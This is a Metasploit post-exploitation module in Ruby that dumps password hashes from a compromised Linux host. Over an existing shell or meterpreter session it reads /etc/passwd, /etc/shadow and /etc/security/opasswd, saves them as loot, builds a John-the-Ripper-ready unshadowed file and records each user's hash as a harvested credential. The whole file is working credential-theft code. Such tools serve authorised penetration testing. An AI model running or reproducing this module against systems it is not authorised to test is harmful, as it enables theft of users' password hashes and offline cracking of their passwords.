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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Linux::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
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        'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
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        'License' => MSF_LICENSE,
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        'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],
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        'Platform' => ['linux'],
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        'SessionTypes' => ['shell', 'meterpreter']
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      )
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    )
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  end
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  # Run Method for when run command is issued
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  def run
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    unless readable?('/etc/shadow')
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      fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'
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    end
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    passwd_file = read_file('/etc/passwd')
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    unless passwd_file.nil?
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      p = store_loot('linux.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Linux Passwd File')
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      vprint_good("passwd saved in: #{p}")
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    end
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    shadow_file = read_file('/etc/shadow')
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    unless shadow_file.nil?
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      p = store_loot('linux.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Linux Password Shadow File')
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      vprint_good("Shadow saved in: #{p}")
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    end
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    opasswd_file = read_file('/etc/security/opasswd')
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    unless opasswd_file.nil?
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      p = store_loot('linux.passwd.history', 'text/plain', session, opasswd_file, 'opasswd.tx', 'Linux Passwd History File')
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      vprint_good("opasswd saved in: #{p}")
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    end
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    # Unshadow the files
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    john_file = unshadow(passwd_file.to_s, shadow_file.to_s)
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    return if john_file == ''
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    john_file.each_line do |l|
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      hash_parts = l.split(':')
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      jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
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      if jtr_format.empty? # overide the default
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        jtr_format = 'des,bsdi,crypt'
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      end
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      credential_data = {
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        jtr_format: jtr_format,
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        origin_type: :session,
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        post_reference_name: refname,
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        private_type: :nonreplayable_hash,
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        private_data: hash_parts[1],
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        session_id: session_db_id,
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        username: hash_parts[0],
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        workspace_id: myworkspace_id
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      }
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      create_credential(credential_data)
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      print_good(l.chomp)
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    end
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    # Save passwd file
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    upasswd = store_loot('linux.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Linux Unshadowed Password File')
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    print_good("Unshadowed Password File: #{upasswd}")
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  end
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  def unshadow(pf, sf)
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    unshadowed = ''
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    sf.each_line do |sl|
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      pass = sl.scan(/^\w*:([^:]*)/).join
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      next if pass == '*'
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      next if pass == '!'
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      user = sl.scan(/(^\w*):/).join
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      pf.each_line do |pl|
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        next unless pl.match(/^#{user}:/)
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        unshadowed << pl.gsub(/:x:/, ":#{pass}:")
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      end
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    end
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    unshadowed
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  end
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end
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